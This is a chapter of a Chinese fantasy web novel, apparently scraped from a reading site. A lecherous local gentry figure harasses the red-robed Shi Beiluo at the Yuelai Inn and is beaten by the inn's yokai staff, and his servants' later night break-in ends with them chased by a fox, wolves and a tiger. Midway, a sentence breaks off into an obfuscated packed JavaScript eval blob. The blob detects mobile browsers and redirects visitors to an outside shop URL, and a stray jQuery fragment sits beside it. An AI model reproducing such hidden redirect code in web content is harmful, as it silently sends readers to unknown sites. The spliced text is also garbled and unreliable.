赵匹朝着声音的方向望去,顿时瞪大眼睛。
“极品啊。”他感慨道。
赵匹是此地的乡绅,开了好几家赌场,颇有家资。
他有个爱好,就是喜欢美人,无论男女,只要看中了,就势必要弄到手中。
这次他听算盘店里的姓卢的那小子说,这悦来客栈的算账先生是个小美人,于是跑过来一看,果然是真的,只是他没想到小小一间悦来客栈,却是一金屋藏娇之地。
已经有一个小美人了,还有一个极品。
这身段,这脸蛋,说是仙人也不为过啊!
原本因为摔倒而正在气头上的他,一下怒气全消。
他站起身拍了拍身上的灰尘,笑着走到那红衣美人身边。
“大美人真是我见犹伶啊。”
“待在这么一间破客栈里,还真是屈居了。”
虽然师北落一向喜欢听别人夸他,但是此刻脸上却冷若寒霜,眼前这个一脸尖酸刻薄的男人,丑到让他厌恶。
“滚开,别挡了本座的道。”看在对方是凡人的面子,他才没有出手。
“然后滚出客栈,不许再踏足一步。”
听了他的话,赵匹非但没有生气,连同那两个手下,皆哈哈哈大笑起来。
“哟,大美人还挺凶的。”
“不过,大爷就喜欢你这款。”驯服起来,才有意思。
“你怕不知道爷是谁,爷叫赵匹,我爹曾是朝廷三品大员,你跟了我可是你的福气。”赵匹洋洋得意地介绍道。
一旁两个家奴还帮他补充道:“就是,咱们老爷可是县太爷都要给几分面子的。”
“劝你别不识好歹,否则我们就不客气了。”
说着,两人举起拳头,有威胁之意。
“你们确定要和本座动手?”虽然师北落不喜欢欺负凡人,但却是对方挑衅在先。
但显然对面几人根本就听不进去师北落的警告,而他们也丝毫没有发现身后柜台里的胡黎,不知何时跑向后院。
“动手又怎么样啊,大美人?”赵匹本就是个好色之人,如今遇到这样一个人间极品,他怎么可能轻易放过。
他拔开挡在前面两个家奴,笑兮兮地走向对方。
“你是不是要哭啊,哭一个给爷看看…”
他还在调戏对方,并没有注意到,眼前的红衣美人看他的眼神已经是在看死人了…
“啊啊啊!混账!离我们公子远点啊!”
“傲呜呜…敢碰我们公子找死!”
“爪子不想要了是不是!”
就在他想强掳美人回去之时,后方突然传来一声怒吼。
回头只见那位小美人领着三名壮汉直奔他们而来。
其中个子最高的那个抬手就往他脸上打了一拳,直接把他打到在地,紧接着便是拳打脚踢,耳边不断传来两个家奴的惨叫。
“公子,莫为这几个人生气,您移步这边歇着,剩下的交给我们就好。”
趁着王大力和阿大阿二一起揍那三人之际,胡黎赶紧带着师北落去旁边坐着消消气,如果真让他来动手的话,怕不是整个客栈,哦不,是整个青阳县都会出事。
伴随着赵匹等人的惨叫,师北落来到一旁坐下,但被冒犯的不快,让他仍是散发着冰冷的气息。
胡黎见状,也赶紧围过去,加入殴打赵匹的行例中,不知不觉间就连傲傲也混入其中。
伴随惨叫声和拳拳到肉的声音,师北落那冷到几乎可以杀人脸色终于柔和下来。
谢俊彦回来之时,正是胡黎几人打得最卖力的时候,他拿着那一堆刚刚打捞回来的海鲜,假装不经意地经过,然后趁机狠狠地踹了赵匹两脚。
早在赶回来的时候,他就已经察觉到客栈里出事了。虽然他知道此人根本不能拿北落如何,但听到污言秽语,让他如何不恼,于是便踢出最狠的两脚。
“没吃饭吗?再用点力。”
在得到他的允许后,胡黎等人下手更狠了。
片刻以后,那哀嚎声终于停止,谢俊彦也终于叫停几人。
他抬手就治好了这三人的皮外伤,并消除了记忆,然后让阿大阿二把这几人给扔远点。
如此即给了这个混蛋一个深刻的教训,但却什么也想不起来,只当是梦中摔了一跤。
直到看到三人被扔出去,谢俊彦这才转过身,拎起他手中海鲜。
“不生气,咱们吃海鲜去。”
海鲜啊…
刚做了剧烈运动的小妖怪们露出渴望的表情,这时几条鱼和贝类落在王大力手上,虽然谢俊彦没有说什么,但很明显这是对他们刚刚举动的奖赏。
当天下午,客栈里所有人吃心满意足地吃了一顿海鲜大餐。
这件不愉快的小插曲,他们所有人都没有当一回事,依旧每天照常打开门做生意,虽然客栈里依旧没有什么客人,但至少他们过得很开心,后院里那些毛茸茸的鸡鸭,也在一天天长大。
这天,太阳刚落山,悦来客栈就早早关了门,原本就冷清客栈更显清冷。
随着夜色渐浓一切都静悄悄的,就连院子里的风吹草动都能清得一清二楚,四周灯火逐渐熄灭,就连狗都睡的时辰里,客栈的院子右侧靠墙的树上,却突然被一只爪钩给套上。
紧接着两个黑衣人顺着那根绳子爬了进来。
两人落地的动作很轻,一看就知道是练家子。
黑衣人蒙着面,只露出一双眼睛在外面,此刻那两双眼睛正滴溜溜地打转,观察着这里。
他们很快就确定了主屋,脚步轻盈地朝那边跑去。
四周黑漆漆的,屋子里的烛火早已熄灭,只有零星的虫鸣。
今晚的月光却总是躲在云层里偶尔才出来一下,伴随着耳旁的风声,是一个非常适合偷东西的夜晚。
终于他们走到主屋前,眼前六间屋子,怎么看都是最左侧的最为奢靡,这间应该是客栈主人的屋子,他们要找的东西应该在那里。
两个人对视一眼,打算朝那而去,然而只是一道火红影子从他们面间一闪而过。
什么东西?
那红影带风,嗖的一下就过去了,耀眼异常。
原本以为是被发现了,但定睛一看是一只火红的狐狸挡住了他们的去路。
那只狐狸浑身火红皮毛,似乎是被人圈养的,那一身皮毛油光水滑的,体型也比寻常狐狸大了一圈,此刻那只狐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773608|186072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狸懒洋洋地趴在那里,正好拦住了他们的去路。
任务途中,遇到主人家养的狸奴、狗等,都是很正常的事情。
见只是一个狐狸,两人并没有太惊讶,虽然少见,但也不是没有人养。
两人想绕过那只狐狸继续前进,可奇怪的是那狐狸仿佛通人性般,在他们经过时,一下跳到一人身上,咬下了其中一人的面罩,使其露出真容。
若是师北落在的话,定能认出此人就是之前赵匹带到的家奴之一。
“死狐狸,把面罩还我!”
被夺了面罩的家奴甲,气愤地去夺,却被狐狸咬伤了手,痛得他想惊呼出声,却被一旁的黑衣人一把捂住嘴。
“小点声,你想把他们吵醒吗?”
听这声音正是另一个家奴。
家奴甲只能硬生生地忍下这股疼,紧紧捂着流血不止的右手。家奴乙对方的右手都被咬得血肉模糊了,也顾不得其他了,把自己的面罩也扯了下来,替其包扎,这才勉强止住了血。
而此刻那只狐狸已经没了踪影。
眼下任务要紧,反正狐狸是这里养的跑不掉,这个仇日后再报也不迟。
家奴甲看着自己疼痛不止的手,想着等日后抓到狐狸,扒了他的皮做衣服。
现在不是想着扒不扒皮的时候,他们得快点把那个东西找出来。
“嗷呜~嗷呜~”
这客栈还养狗了?
听到狗叫声,两家奴还疑惑,这客栈怎么又养狐狸又养狗的,但是耳边响个不停的狗叫声,却怎么听都觉得不对劲。
这怎么和狗叫声有些不一样?
两人缓缓地转过头,对上翠绿的幽光,那四个绿光点越来越近…越来越近…直至月亮从乌云中探出头,他们这才看清,那根本不是什么幽光,而是两双眼睛…
月光照在那深灰色的皮毛上,顿时让两人头皮发麻。
“狼啊!”
这下,他们再也没有忍住大叫出来,随着他们叫出声,那两狼朝他们扑来,两人拔腿就跑,也顾不上主人的吩咐了,再不跑,怕是他们命都要交代在这里。
可是他们两条腿,怎么跑得过两头狼呢?
就算他们分散逃开,那两狼也配合默契,分散开来追逐他们…但奇怪的是,那两只狼好像是戏耍他们,每次眼见着要追上,都会放慢脚步,但这两人完全没有发现,只一心逃命,直到跑到院子里的池塘前…
身后的狼也停止追逐,却是一呲着牙一步步紧逼,两家奴咬咬牙,回头看着冰冷的池水,闭上眼就跳了下去。
冰冷的池水淹过头顶,那池塘很深,幸好两人水性都不错,在水下瑟瑟发抖地躲了一段时间后,终于岸上的动静没了。
两人这才小心翼翼将头探出水面,直到看不见那两狼了,这才松了一口气。
吓死了,如果刚刚两狼也下水的话,那他们就死定了。
水里太冷了,他们赶紧上岸,并挤了挤衣服上的水,可就是在他们挤水之时,有什么东西在他们身后哈气,那灼热的气息都喷洒在他们身上,并让人觉得毛骨悚然。
家奴两人僵硬着身体,缓缓转过头去,一只张着血盆大口的大虫与他们面对面…